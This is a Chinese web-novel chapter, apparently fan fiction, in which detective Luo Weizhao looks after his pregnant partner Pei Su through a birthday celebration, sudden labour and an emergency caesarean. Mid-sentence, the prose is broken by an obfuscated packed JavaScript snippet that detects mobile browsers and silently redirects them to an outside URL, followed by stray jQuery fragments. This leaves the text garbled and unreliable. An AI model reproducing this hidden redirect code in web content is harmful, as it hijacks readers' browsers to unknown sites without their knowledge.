耿斌眼里人类的友谊无非三种,一起同过窗,一起扛过枪,一起摸过唱。如今他单方面认为自己与骆为昭已达成66%的成就,是名副其实的世交发小,过命兄弟,互为左膀右臂。


    即使骆为昭派人截停了他找相亲对象报仇的车,使他与仇人肩并肩,手握手,共同面红耳赤地接受来自下属的批评教育,也并不影响这层关系。


    骆为昭第一次得知他这个理论,心里的无语像大海一样波涛汹涌。但他近期有求由于耿斌同志,只能像包容肖翰扬一样包容这位尚未开智的同僚。


    耿斌其人除了性格暴躁冲动对待犯罪分子像狂暴战士,确实不适合做刑事案件。搞其他业务倒是一把好手,在系统内称兄道弟,有些徘徊在灰色地带的事情他协调一下真就能顺手办成。


    所谓一头驴有一头驴的拴法,他官瘾大,骆为昭乐得他管事儿,在单位捧得他晕头转向,完全找不着北。


    下午五点,骆为昭敲敲他办公室的门:“老耿,我先走了啊,有什么事儿打我电话。”


    耿斌正在核对即将上报的优秀表彰的文件,闻言立马站起来,请他确认完人选,签完字再走。


    骆为昭看他定的这批人,大体没什么问题,撤了一中层干部的名额,换了宋眠上去。


    耿斌看得龇牙咧嘴,说老骆,你这时候撤人不是害我得罪人吗?


    骆为昭弹弹文件夹,挑眉:“你就说名额不够下次给,这次把名额匀给大伙的救命恩人……糊弄这事儿你比我在行。”


    耿斌说行吧行吧,听你号令能打胜仗,漫不经心地打听:“你家那位……少爷现在什么情况?真遇到困难要和组织打报告啊,实在不行请假呗,家里人身体最重要。”


    骆为昭打个哈哈混过去,谴责道:“你这人怎么跟个记者似的,想改行直说。”


    耿斌举手投降,说别埋汰我啊,夕阳行业和朝阳行业我还是分得清楚。


    平心而论,知道裴溯怀孕的人挺多的,但大家都口风紧,因此消息流通始终在一个比较可控的范围里。一回生二回熟,骆为昭在封锁消息上尽全力,绝不让裴总受这种鸡毛蒜皮的委屈。


    当事人倒挺悠哉的,此时熟练地指挥刚下班的对象,往客厅的电视上换插游戏机接口。


    骆为昭:“掌机不够您施展了?”


    裴溯捧着手柄,理直气壮:“少废话,给你看看我搭的高达。”


    骆为昭知道他最近穷极无聊,在打第二代塞尔达,那个开局只有一根树枝的裸/男,一路鸟枪换炮,可以运用自己的吸铁石能力拼凑科技大炮,一炮轰死一群滋儿哇乱叫的小猪仔。


    骆为昭此人从小在拳皇和星际争霸里长大,对这种开放世界探索类游戏并没有多少兴趣,但裴溯要给他展示,他乐于欣赏。


    裴溯凭空搓出一辆全自动开火的炮车。轰轰轰地往前开火,一整个营地的小猪全部变成了原材料。


    骆为昭给他鼓掌:“好好好,科技的碾压真是令人害怕啊,三体人打我们说不定也是这样啪一下全部团灭……”


    裴溯靠在他肩膀头子上,和他交换了一个清除班味儿的亲吻:“你好爹啊,师兄。”


    时间差不多了,骆为昭没收他游戏机,扶他往床上躺,临睡前又劝他:“定个时间早点剖了吧。”


    裴溯小声说:“怎么这样?她才刚刚37周呀,还没做好出来的准备呢……再等等她发育好吧。”


    她没发育好,你呢?


    骆为昭看他一张小小的惨白的脸上挂着一根鼻氧心里就难受。


    裴溯现在睡觉都躺不平,背后靠着一个三十度倾角的枕头,呼吸才顺畅。坐久了骶骨受压,腰上又疼,动弹两下都难受。


    这么漂亮的人被困在这样一个空间有限的房子里,哪怕是每天有换花,有人有猫陪,骆为昭都觉得拘束了他。


    骆为昭和他聊怎么还苗苗的那份大礼,裴溯说就按她三十五大寿的贺礼准备呗,给她搞个纯金底座的玉玺,以后她签章就盖那个……再去找个和尚开光,吾皇万岁万岁万万岁。


    骆为昭:……


    他侧躺着,骆为昭给他抹油摁腰,摁得裴溯倒抽一口凉气,想躲,被骆为昭捉住,大手顺着脊柱往两侧捋,指节抵在他尾椎自下而上往揉。


    裴溯起初僵硬得很,一摁单薄的身体就一颤,揉得久了,也就舒展开,像只猫一样哼哼唧唧地指挥往左向右,这里轻了那里重了。


    “付我工钱。”


    裴溯背对着他,抬手拍拍屁股,示意用此处支付。


    骆为昭:“……”


    被拖欠薪水的技师无处维权,只能啃啃客户的侧脸,见客户没反应,又朝客户软白的屁股糊上一巴掌,眼见那臀肉猛然一晃,裴溯回头佯怒,含羞带嗔地翻白眼,骂道:“狗啊!”


    哎,舒服了。


    骆为昭抑郁了半个晚上的心胸骤然开阔——他今天提前下班去医院和医疗团队定方案。


    裴溯情况特殊,会诊方案都定了好几轮,大夫们唇枪舌战,场面堪比美国两党在大选时辩论,就差抄起病历夹进行无差别格斗了。


    顺是完全不考虑了,裴溯这个身体情况,喘气都费劲,指望他能用力不如指望林黛玉倒拔垂杨柳。


    “剖的话呢,主要还是担心子宫形成瘢痕组织或纤维组织,影响到盆腔及腹腔的结构和功能,从而引发术后盆腹腔粘连,万一日后有个什么事情需要做手术,还得做解粘连……”


    骆为昭听得手心一直在冒汗。冒出来的冷汗又不知道在哪儿擦,在手心里干了湿,湿了干。


    “还得考虑病人之前手术形成的腹腔脏器与壁腹膜异常粘连,从B超结果看是肯定存在的,还是得抓紧时间做一次彻底的探查。”


    大夫总结陈词:“……家属回去后商量一下,尽快决定什么时候入院,时间还是比较紧的。”


    骆为昭当时张着嘴,半天才从喉咙里滚出一个“好”字。


    ·


    计划赶不上变化,裴溯生在37+5w的时候。


    正好是他生日后面一天,一个万事皆宜的好日子。


    生日这天晚上,骆为昭按照老套路,亲自下了碗码了八种配菜的过水面。订了个星河蛋糕,关着灯用雄浑的美声给他唱“和所有的烦恼说拜拜,和所有的快乐说嗨嗨~”


    唱一半自己觉得尴尬,用力咳了一声,搓搓铜墙铁壁的脸皮继续唱。


    黑暗里蛋糕上的糖珠闪着银光,蜡烛火焰跳动,映在两个人闪亮的眼睛中。


    “师兄。”裴溯轻轻地喊。


    骆为昭不明所以:“许个愿吹蜡烛吧乖乖,许什么都可以。”


    平底锅在脚底下咪咪喵喵,很是迫不及待品尝纯动物奶油。


    裴溯笑眯眯地鼓起腮帮,两颊肉堆起一个极其可爱的弧度,一口气吹灭蜡烛。


    骆为昭巴掌鼓得震天响,仿佛他刚刚完成什么了不起的成就:“裴总!祝你发大财,祝你好运来,祝你走路大摇大摆!”


    “生日快乐,乖乖,长命百岁。”骆为昭又轻声说。


    裴溯恍然回到几年前,他和骆为昭关系刚破冰的时候。两个人对着蛋糕都不知道说什么,生日歌都唱不完整,用沉默掩盖着举止无措,能谈论的只有案情。插一口蛋糕吃,都感觉在咀嚼没有味道的海绵,难吃到令人发指。


    此时此刻,骆为昭把令人尊敬的、知道排队等待的平底锅先生抱到怀里,裴溯切了一块三角形糕体,拿小猫专用勺子挖一口又一口奶油给他尝尝。


    两人就这么靠在一起,看猫在人怀里探头探脑,吃得吧唧吧唧。黑猫埋头啃的鼻尖上沾了白色的奶油,形成一种风味独特的搞笑。


    裴溯突发奇想,拿手指头点了两点奶油在骆为昭的胡子上:“老爷爷,你也快乐。”


    凑近了就发现,骆为昭特意刮了胡子,连眉毛都精修过,甚至喷上他喜欢的乌木味道的香水。埋在他怀里,感觉像在拥抱一棵顶天立地的树木,如此坚实可靠。裴溯的嘴唇贴上去,想把他连奶油一起吞到肚子里。


    猫夹在中间,受不了腹背受敌的腻歪,后脚一蹬,从二人中间逃跑。


    奶油从嘴唇一路下滑到胃里,将他饱胀又充盈地填满。


    我不再是从前那个明明抓住一把糖,却生怕是转瞬及时的幻觉,只敢剥开一颗糖纸,舔一层外壳的小孩了。裴溯想。


    怪香,怪甜,怪幸福的,日子竟然真的这样好。


    ·


    “师兄。”


    裴溯很轻地喊了他一声。


    “怎么了?”骆为昭正站起来开灯,想他晚上没吃什么东西,哪怕再喝点面汤都是好的。


    暖黄色的灯光下,裴溯面色发白,哪怕刚亲完,嘴唇也没有什么血色。脸上却带着点笑意,嘴唇张了张,措辞一下:“她好像要来了。”


    “啊?”骆为昭大惊失色,接着迅速反应过来:“疼多久了?”


    裴溯在餐椅上难耐地挺挺腰,腰上又是一阵刺痛,脸白得吓人,喘息间回他:“吹蜡烛前就疼了。”


    骆为昭着急慌忙地打电话给医院和杨阿姨。


    医院接了电话立马派车过来,说你们收拾一下东西,马上到,最多十五分钟。


    裴溯想逞强,站起来往沙发那里走,可惜疼痛来的猝不及防,脚踩在地上软得没力气,整个人挂在骆为昭的臂弯里,仍旧止不住向下滑。


    骆为昭把他横打抱起,放到沙发上,后背垫上两个靠枕,抓紧时间给他换衣服。


    睡衣肯定是不能穿了。刚刚扶他的时候,骆为昭就摸到他□□中间湿了一小片,下面好像是破水了,可脱下来一看又只有一点透明的液体,但被肚子挡住,他自己好像没发现。


    骆为昭给他擦干净身体,小心地扶着肩颈,套自己宽大的T恤,细胳膊空当当地晃在袖管里。大腿挂在自己的臂弯里套长裤,伶仃的足踝晃晃悠悠地荡在半空中,还要说师兄,我想这姿势好久了。


    骆为昭着实无语,给他额头上轻轻地弹了一下。笑骂道,嘴硬呢,小兔崽子。


    裴溯一边和阵痛做对抗,一边虚情假意地朝他笑一笑。


    杨阿姨匆匆下楼来,去客卧拿早就收拾好的待产包,进厨房灌热水进保温杯,调了半杯盐糖混合倒水递给骆为昭,示意他喂给裴溯。


    骆为昭架着他腋下帮他向上坐直一些身体,裴溯就着他的手抿了两口水,往外推说不要了,孩子顶在胸口,好闷,想吐。


    骆为昭低头望着他苍白的脸,感受着没什么力气的呼吸,湿冷的温度顺着手掌交握的皮肤传过来,心里一惊接一惊。


    裴溯正以一种盲目仰仗的,全身心依赖的姿势依靠在自己怀里,垂着眼睛,护着肚子。这个孩子因为宫缩在挣动,在他削薄的皮肉下顶出起伏的形状,丝毫不顾其余一塌糊涂的脏器。


    骆为昭把手掌贴上他腹部,试图武力威慑这个即将来到世间的小东西:“你能不能别动了?再这样出来以后我肯定要揍你的。”


    裴溯大口地喘息,抬手不轻不重地拍了一下骆为昭的手背,骆为昭对他不讲道理的责怪全盘接受。


    骆为昭怕他宫缩痛,更怕他是别的重要的脏器被挤得抽痛,一只手揽着他的肩膀,一只手小心翼翼地在腹部摸,问他哪里疼?


    裴溯牙齿因突如其来的剧痛哆嗦,说不出一句话,遑论回答他的问题。脑袋像被蒙了一层雾,意识模糊。只见骆为昭张嘴,听不清他在说什么,耳边只感觉蜂鸣与雷声交错,试图回握他覆盖在自己肚皮的手。


    可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133683|194644||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惜没能成功。


    救护车到的很快,大夫蹲下身来,套上手套,一探下身,眉头一皱:“晚上吃什么东西了吗?”


    “没有,两三口奶油而已。”


    大夫点头,说还好没吃,立马打电话叫医院做准备:“病人已经开一指了,到医院就要剖,手术室准备接人。”


    骆为昭立刻反应过来,裴溯刚刚说的不是实话,哪儿有人这么快开指的,低声叫他名字:“裴溯。”


    裴溯适应了规律的阵痛,缓过来一点,用气声回他:“没骗你……”


    没骗你,真的是刚刚才觉得疼的。他对疼痛的忍耐度高得出奇,那时候又那么高兴,高兴到几乎可以忘记身上所有的痛苦。


    去医院的路上,担架没那么减震,不如骆为昭抱着。可直到抱着他,才发现裴溯浑身都在颤抖,指甲掐到皮肉里,脸色泛着灰,大口地吸着气。


    为昭。


    为昭。他喃喃地喊。


    他只有在最难熬,最渴求,最放纵自己精神的时候才会这样喊:为昭。


    “我在呢。”


    我在呢。骆为昭一声声地应,感觉自己的心像被剁成好几块,仰起头能扼制眼泪滑出眼眶,可低下头才能听到他带着哭腔的声音。


    “好疼啊……”


    裴溯睁着眼睛,连串的眼泪收不住地从眼角往下滑,他喊不出来师兄了,也喊不出哥哥了,指甲嵌在手心,掰开全是月牙型的印记。


    骆为昭抓起他骨节分明的手指握在掌心,让他掐,他却不掐了。


    裴溯躺在转运床上,所有人推着他沿着通道向前跑,一路通畅无阻,手术室铅灰的大门轰然关闭,红灯骤然亮起。


    骆为昭被禁止进入,护士安抚他说很快就好,你消毒完,穿完全套衣服,他人都出来了。年轻人,耐心点儿,等等呗。


    私立医院的空气里弥漫着熟悉的中规中矩的消毒水的味道,妇产这里意外地一股若有若无的花香,不知道是不是为了给新手父母提供情绪价值的缘故。


    骆为昭精疲力竭地在包着柔软坐垫的不锈钢椅坐下,心口还在一抽一抽地跳,再这么来一次,自己真特么有领不到养老保险的风险。


    杨阿姨自己开车过来,此时才推着两个巨大的行李箱走过来,把一些刚刚兵荒马乱之中忘记,却可能在今晚用上的譬如病历毯子之类的东西交给骆为昭,才转身上楼收拾病房去。


    又过了一会儿,骆丞和慕小青两人并肩走来。


    骆为昭眼见他妈来了,下意识地站起来,上前两步,接过她那堪比健身器材的包。


    骆丞施施然绕过跟丢了魂似的好大儿,站在窗边,绷着脸打电话。没几分钟,走廊尽头快步走过来一个头发半花,身穿行政夹克的男人来,热情地与他握手,呼喊道:“骆监察长!”


    骆丞微笑致意,做出个请的姿势,邀请他上旁边讲官话去。


    慕小青拉过她跟电线杆似杵在门口的好大儿,“你坐呀,为昭。”


    慕小青给他交代注意事项:“到时候出来了你去守乖乖哈,小孩这边交给我们,不要把大人晾在一边去看孩子哈,到时候乖乖有心理落差。”


    骆为昭露出一个哭笑不得的表情。感觉妈妈担心错对象,你该担心我是不是把孩子扔在旁边直到她高考完考上985才搭理她……


    慕小青难得温情,拍拍他的手背,说:“会没事的,别担心。”


    她从包里掏出一个银粉绣花的平安福来,递给他,说这也是她请的,花了小一万呢,拿着。


    骆为昭这时候开始辩证地迷信了,握着这个还没他掌心大的小布包,哽着嗓子喊了一声,妈。


    慕小青揉搓着他的狗头,温声道:“都要当爸爸的人了,怎么还这样经不住事?”


    等待的时间好漫长。


    骆为昭看看大门,看看手机。翻相册里他俩乱七八糟的合照。裴溯很喜欢拍照片,每一年生日都会拍好多张,像个全程记录的摄影师。今年的照片停留在喂平底锅奶油的时候,有些糊,说不清是因为光线暗快门速度慢,还是疼得手抖。


    骆为昭想,这明明是他生日啊,为什么会疼成这样呢?


    他无端回忆起裴溯还是少年的时候,他穿着校服站在树荫下等自己下班,一起去陶泽家里过生日。


    他那制服包里明明揣着千里迢迢专门带给自己的新奇士西柚汽水,却硬说是随手在门口小卖部买的。屁嘞,小卖部要是这么会选品,也不至于开两年就倒闭。明明吃不了辣,还跟着自己和陶泽一起吃中辣的烧烤,辣得嘴唇都泛起浓艳的红,眼里蓄着一汪晶莹的泪水。


    这么个口是心非小东西,转眼间跟白杨抽条似的,长成如此俊秀如此漂亮的青年,依旧改不了迁就别人,总是把自己的感受放在稍微往后一点的位置。


    骆为昭想不通,为什么裴溯短短二十几年的生命里,领略到的全是刀山火海。血肉之躯滚过钉板,才勉强有了如今的生活——他梦寐以求,他日思夜想,他如此享受的安定、平静的生活。


    命运未免对他也太不公平。凭什么,又为什么如此苛待他?


    他明明只是这么一个,给点爱就能生根发芽的小孩。


    骆为昭坐在手术室的门口一动不动。天花板的灯光把他照得像一尊僵硬地石膏雕像,粗糙的手掌翻来覆去地盘那一只小巧的平安福。


    神啊。


    骆为昭深深地吐息,双手合十,捧着自己的脸,手指覆盖住自己的鼻腔与嘴巴。


    如果真的有神的话。


    我向你祈求,我向你祈求实现一个人的全部愿望。


    我像乞丐,像赌徒,像狂热的好战分子,我愿意献上我的一切,谦卑地祈求你,恳切地祈求你。


    让他得偿所愿。